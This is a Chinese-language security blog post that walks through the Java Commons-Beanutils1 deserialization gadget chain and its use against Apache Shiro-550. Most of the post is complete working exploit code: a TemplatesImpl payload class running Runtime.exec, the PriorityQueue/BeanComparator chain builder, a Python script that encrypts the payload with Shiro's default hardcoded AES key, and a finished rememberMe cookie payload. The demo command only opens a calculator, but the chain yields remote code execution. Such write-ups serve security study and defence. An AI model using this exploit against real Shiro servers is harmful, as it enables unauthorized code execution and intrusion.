Java反序列化之Commons-Beanutils1链
上篇文章分析了Shiro-550产生漏洞的原理,以及如何触发URLDNS
链,但是没有分析如何通过反序列化漏洞RCE。因此分析通过Commons-Beanutils1链
执行RCE。
Commons-Beanutils简介
Apache Commons Beanutils
是 Apache Commons
工具集下的另一个项目,它提供了对普通Java
类对象(也称为JavaBean
)的一些操作方法。
在commons-beanutils
中提供了静态方法PropertyUtils.getProperty
,通过调用这个静态方法,可以直接调用任意JavaBean
中的getter
方法。
简单的demo
:
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class Bean {
private String name = "cc";
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
System.out.println("cc");
}
}
此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。
Commons-Beanutils1链构造
现在就需要分析如何利用到Commons-Beanutils1
中的getProperty
方法自动调用getter方法。在cc3链链中实现了另一种动态类加载执行命令的方式。通过TemplatesImpl
中的getOutputProperties()
方法,最终调用到defineClass()
实现的动态类加载。
调用链如下:
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
而这里用到的getOutputProperties
方法,是以get
开头,正符合getter
的定义。
所以, PropertyUtils.getProperty( o1, property )
这段代码,当o1是一个TemplatesImpl
对象,而property
的值为outputProperties
时,将会自动调用getter
,也就是TemplatesImpl#getOutputProperties()
方法,触发代码执行。
通过PropertyUtils.getProperty
触发代码如下:
//Test.java
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CommonsBeanutils {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "1");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//private byte[][] _bytecodes = null;
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//private transient TransformerFactoryImpl _tfactory = null;
//由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
//通过PropertyUtils.getProperty触发outputProperties,弹出计算器
PropertyUtils.getProperty(templates,"outputProperties");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
现在就是如何找到利用到可以从readObject一直触发到PropertyUtils.getProperty
,能够将这条链连接起来。
解决:
在cc2链中使用到了PriorityQueue
优先队列的类,其中重写的readObject
方法中执行java.util.Comparator
接口的compare()
方法。
而恰好在commons-beanutils
包中就存在一个: org.apache.commons.beanutils.BeanComparator
。BeanComparator
是commons-beanutils
提供的用来比
较两个JavaBean
是否相等的类,其实现了java.util.Comparator
接口。
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
这个方法传入两个对象,如果this.property
为空,则直接比较这两个对象;如果this.property
不为空,则用PropertyUtils.getProperty
分别取这两个对象的this.property
属性,比较属性的值。这里就调用了getProperty
,如果将传入的o1设置为TemplatesImpl
类,property
设置为OutputProperties
,就能成功将cc2和cc3链起来,并且不依赖于commons-collections
//PriorityQueue.readObject
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
//PriorityQueue.heapify
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
//PriorityQueue.siftDown
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
//PriorityQueue.siftDownUsingComparator
//在这里调用了compare:comparator.compare。并且comparator是可控的,只要指定为BeanComparator类就可以触发
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
可以看到在PriorityQueue#readObject()
中调⽤了heapify()
⽅法, heapify()
中调⽤了siftDown()
, siftDown()
中调⽤了siftDownUsingComparator()
, siftDownUsingComparator()
中调⽤的comparator.compare()
具体调用细节在CC2中都有分析,这里就不在分析了。直接给出POC。
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsBeanutils {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "1");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//private byte[][] _bytecodes = null;
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//private transient TransformerFactoryImpl _tfactory = null;
//由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator();
//
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
Class beanClass = beanComparator.getClass();
Field propertyField = beanClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"outputProperties");
Class queueClass = queue.getClass();
Field queueField = queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
}
}
shiro-550
反序列化Commons-Beanutils
链复现
将生成的ser.bin文件通过AES加密和base64编码后。设置为cookie值。
import base64
from Crypto.Cipher import AES
with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
byte_POC = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(byte_POC)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print("rememberMe={}".format(base64_ciphertext.decode()))
然后通过bp抓包传入cookie值
发送Payload
之后发现Tomcat报错了,提示 serialVersionUID
不一致。
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962
serialVersionUID
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java
在反
序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID
值,写入数据流中;反序列化时,如果发现对方的环境中这个类计
算出的serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
当然,开发者也可以手工给类赋予一个serialVersionUID 值,此时就能手工控制兼容性了。所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.2
版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了serialVersionUID 对应不上的问题。
解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>
更换版本后,再次生成 Payload 进行测试,此时 Tomcat 端爆出了另一个异常,仍然没有触发代码执行:
Unable to load class named [org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到 org.apache.commons.collections.comparators.ComparableComparator
类,从包名即可看出,这个类是来自于 commons-collections
。
commons-beanutils
本来依赖于 commons-collections
,但是在 Shiro 中,它的 commons-beanutils
虽然包含了一部分 commons-collections
的类,但却不全。这也导致,正常使用 Shiro 的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections
。
无依赖的 Shiro 反序列化 Gadget
在构造Commons-Beanutils
链的时候对BeanComparator
进行了实例化。
可以看到BeanComparator
的构造函数如果没有传入参数,则默认使用 ComparableComparator
。
既然此时没有ComparableComparator
,我们需要找到一个类来替换,它满足下面这几个条件:
-
实现
java.util.Comparator
接口 -
实现
java.io.Serializable
接口 -
Java、shiro或
commons-beanutils
自带,且兼容性强
通过IDEA的快捷键Ctrl+Alt+B
搜索接口的实现类。这里跟着P神文章找,找到了CaseInsensitiveComparator
。其它的也可以只要符合上面的3个条件就好了。
public static final Comparator<String> CASE_INSENSITIVE_ORDER
= new CaseInsensitiveComparator();
private static class CaseInsensitiveComparator
implements Comparator<String>, java.io.Serializable {
// use serialVersionUID from JDK 1.2.2 for interoperability
private static final long serialVersionUID = 8575799808933029326L;
public int compare(String s1, String s2) {
int n1 = s1.length();
int n2 = s2.length();
int min = Math.min(n1, n2);
for (int i = 0; i < min; i++) {
char c1 = s1.charAt(i);
char c2 = s2.charAt(i);
if (c1 != c2) {
c1 = Character.toUpperCase(c1);
c2 = Character.toUpperCase(c2);
if (c1 != c2) {
c1 = Character.toLowerCase(c1);
c2 = Character.toLowerCase(c2);
if (c1 != c2) {
// No overflow because of numeric promotion
return c1 - c2;
}
}
}
}
return n1 - n2;
}
/** Replaces the de-serialized object. */
private Object readResolve() { return CASE_INSENSITIVE_ORDER; }
}
可以通过CASE_INSENSITIVE_ORDER
拿到CaseInsensitiveComparator
类
这个CaseInsensitiveComparator
类是java.lang.String
类下的一个内部私有类,其实现了Comparator
和Serializable
,且位于Java
的核心代码中,兼
容性强,是一个完美替代品。我们通过String.CASE_INSENSITIVE_ORDER
即可拿到上下文中的CaseInsensitiveComparator
对象,用它来实例化
BeanComparator
。
因此我们只需要将之前的Commons-Beanutils1
链中的new BeanComparator();
改成new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
传入的值需要传入字符串。。并且
queue.add
原因在于第二次add
时会调用Comparator
进行比较,而CaseInsensitiveComparator
类中的compare
方法需要传入字符串。如果没改,报错如下:
修改Commons-Beanutils1
链
最终可以利用的Commons-Beanutils1
链,并且不包含Commons-collections
。
//Test.java
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CommonsBeanutils {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "1");
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
//private byte[][] _bytecodes = null;
byte[] code = Files.readAllBytes(Paths.get("F://code//Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
//private transient TransformerFactoryImpl _tfactory = null;
//由于这个是不可能被序列化的,其实不用赋值,不过这里是正这测试一下,所以还是得赋值
Field tfactoryField = tc.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
//
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add("1");
queue.add("1");
Class beanClass = beanComparator.getClass();
Field propertyField = beanClass.getDeclaredField("property");
propertyField.setAccessible(true);
propertyField.set(beanComparator,"outputProperties");
Class queueClass = queue.getClass();
Field queueField = queueClass.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue,new Object[]{templates, templates});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
ois.readObject();
ois.close();
}
}
将生成的ser.bin
文件通过py
脚本加密与base64
编码之后,生成Payload
:
import base64
from Crypto.Cipher import AES
with open(r"F:\code\java_file\ser\ser.bin","rb") as f:
byte_POC = f.read()
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(byte_POC)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print("rememberMe={}".format(base64_ciphertext.decode()))
Payload
rememberMe=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
成功弹出计算器
参考文章
Java安全漫谈 - 17.CommonsBeanutils与无commons-collections的Shiro反序列化利用
Comments | NOTHING